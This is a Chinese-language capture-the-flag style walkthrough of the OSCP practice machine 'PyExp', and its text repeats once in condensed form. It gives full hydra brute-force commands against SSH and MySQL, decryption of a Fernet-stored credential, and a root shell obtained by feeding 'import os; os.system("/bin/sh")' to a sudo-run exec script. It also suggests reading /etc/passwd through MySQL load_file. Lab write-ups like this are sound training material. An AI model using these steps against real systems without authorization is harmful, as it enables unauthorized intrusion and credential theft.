OSCP系列靶场-Esay-PyExp
字数 1502 2025-08-10 16:34:39

OSCP靶场渗透实战:PyExp靶机完整渗透指南

靶机概述

PyExp是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点:

  • MySQL服务暴力破解
  • Fernet加密数据解密
  • Python脚本提权
  • 基础信息收集与枚举技巧

环境准备

攻击机配置:

  • IP地址:192.168.45.194
  • 工具准备:nmap、hydra、mysql-client、python3

靶机信息:

  • IP地址:192.168.203.118
  • 开放端口:
    • 1337/tcp:OpenSSH 7.9p1
    • 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB

渗透过程详解

1. 信息收集阶段

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.203.118

发现开放端口:1337(SSH)、3306(MySQL)

服务版本探测

sudo nmap -sT -sV -O -sC -p1337,3306 192.168.203.118

确认服务版本:

  • 1337/tcp:OpenSSH 7.9p1 Debian 10+deb10u2
  • 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1

2. SSH服务测试

登录方式检查

sudo ssh root@192.168.203.118 -v -p 1337

确认支持publickey和password两种认证方式

弱密码尝试

sudo ssh root@192.168.203.118 -p 1337

尝试常见弱密码(root/root等)失败

密码爆破(耗时较长)

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.118 ssh -s 1337

建议:爆破时可同时进行其他信息收集工作

3. MySQL服务渗透

默认凭证测试

mysql -h 192.168.203.118 -uroot -proot

失败后尝试爆破:

小字典爆破

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV 192.168.203.118 mysql

无结果后改用大字典:

大字典爆破(最终成功)

hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 -vV 192.168.203.118 mysql

爆破成功获得密码:prettywoman

MySQL数据库枚举

mysql -h 192.168.203.118 -uroot -pprettywoman

执行以下SQL命令:

show databases;
use data;
show tables;
select * from fernet;

发现加密数据:

cred: gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy: UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

4. Fernet加密数据解密

使用Python解密:

from cryptography.fernet import Fernet

key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
f.decrypt(token)

解密结果:b'lucy:wJ9"Lemdv9[FEw-'`

获得SSH凭证:

  • 用户名:lucy
  • 密码:wJ9`"Lemdv9[FEw-

5. 获取初始Shell

使用获得的凭证登录SSH:

sudo ssh lucy@192.168.203.118 -p1337

密码:wJ9`"Lemdv9[FEw-

获取第一个flag:

cat /home/lucy/local.txt

flag1:ebae58ce8fe13bf90c1ac089200656c0

6. 权限提升

系统信息收集

lsb_release -a  # 系统版本
uname -a       # 内核版本
id             # 当前用户权限
sudo -l        # 检查sudo权限

发现关键sudo权限:

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py

分析exp.py

cat /opt/exp.py

内容:

uinput = raw_input('how are you?')
exec(uinput)

Python提权

利用exec执行任意命令:

sudo /usr/bin/python2 /opt/exp.py

输入:

import os; os.system("/bin/sh")

成功获取root shell:

id  # 显示uid=0(root)

获取root flag:

cat /root/proof.txt

flag2:419157ef0f5cab7409e0818499f4bda6

技术要点总结

  1. MySQL暴力破解

    • 使用hydra进行爆破时,小字典无果后应尝试大字典
    • 可考虑使用medusa作为替代工具,效率可能更高
  2. Fernet加密解密

    • 识别加密方式(表名fernett提示)
    • 使用Python cryptography库解密
    • 注意key和token的格式处理
  3. Python提权技巧

    • 检查sudo -l发现的特殊权限
    • 分析可执行脚本的功能(本例中exec执行任意代码)
    • 通过导入os模块执行系统命令
  4. 备选方案

    • MySQL中可使用select load_file('/etc/passwd')读取系统文件
    • 如果无法解密,可尝试其他方法如内核漏洞提权(但本例内核较新)

改进建议

  1. 爆破MySQL密码时可尝试:

    • 使用更高效的爆破工具(如medusa)
    • 优先尝试top密码而非完整字典
  2. 信息收集阶段可增加:

    • 检查MySQL数据库中的其他表
    • 尝试MySQL UDF提权(如果条件允许)
  3. 提权阶段可尝试:

    • 检查其他常见的提权路径(SUID、cron jobs等)
    • 即使有sudo权限也应全面枚举系统

本渗透过程展示了从信息收集到最终提权的完整路径,强调了暴力破解、加密数据解密和权限提升的关键技术点。

OSCP靶场渗透实战:PyExp靶机完整渗透指南 靶机概述 PyExp是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点: MySQL服务暴力破解 Fernet加密数据解密 Python脚本提权 基础信息收集与枚举技巧 环境准备 攻击机配置: IP地址:192.168.45.194 工具准备:nmap、hydra、mysql-client、python3 靶机信息: IP地址:192.168.203.118 开放端口: 1337/tcp:OpenSSH 7.9p1 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB 渗透过程详解 1. 信息收集阶段 端口扫描 发现开放端口:1337(SSH)、3306(MySQL) 服务版本探测 确认服务版本: 1337/tcp:OpenSSH 7.9p1 Debian 10+deb10u2 3306/tcp:MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1 2. SSH服务测试 登录方式检查 确认支持publickey和password两种认证方式 弱密码尝试 尝试常见弱密码(root/root等)失败 密码爆破(耗时较长) 建议:爆破时可同时进行其他信息收集工作 3. MySQL服务渗透 默认凭证测试 失败后尝试爆破: 小字典爆破 无结果后改用大字典: 大字典爆破(最终成功) 爆破成功获得密码: prettywoman MySQL数据库枚举 执行以下SQL命令: 发现加密数据: 4. Fernet加密数据解密 使用Python解密: 解密结果: b'lucy:wJ9 "Lemdv9 [ FEw-' ` 获得SSH凭证: 用户名:lucy 密码:wJ9 `"Lemdv9 [ FEw- 5. 获取初始Shell 使用获得的凭证登录SSH: 密码:wJ9 `"Lemdv9 [ FEw- 获取第一个flag: flag1:ebae58ce8fe13bf90c1ac089200656c0 6. 权限提升 系统信息收集 发现关键sudo权限: 分析exp.py 内容: Python提权 利用exec执行任意命令: 输入: 成功获取root shell: 获取root flag: flag2:419157ef0f5cab7409e0818499f4bda6 技术要点总结 MySQL暴力破解 : 使用hydra进行爆破时,小字典无果后应尝试大字典 可考虑使用medusa作为替代工具,效率可能更高 Fernet加密解密 : 识别加密方式(表名fernett提示) 使用Python cryptography库解密 注意key和token的格式处理 Python提权技巧 : 检查sudo -l发现的特殊权限 分析可执行脚本的功能(本例中exec执行任意代码) 通过导入os模块执行系统命令 备选方案 : MySQL中可使用 select load_file('/etc/passwd') 读取系统文件 如果无法解密,可尝试其他方法如内核漏洞提权(但本例内核较新) 改进建议 爆破MySQL密码时可尝试: 使用更高效的爆破工具(如medusa) 优先尝试top密码而非完整字典 信息收集阶段可增加: 检查MySQL数据库中的其他表 尝试MySQL UDF提权(如果条件允许) 提权阶段可尝试: 检查其他常见的提权路径(SUID、cron jobs等) 即使有sudo权限也应全面枚举系统 本渗透过程展示了从信息收集到最终提权的完整路径,强调了暴力破解、加密数据解密和权限提升的关键技术点。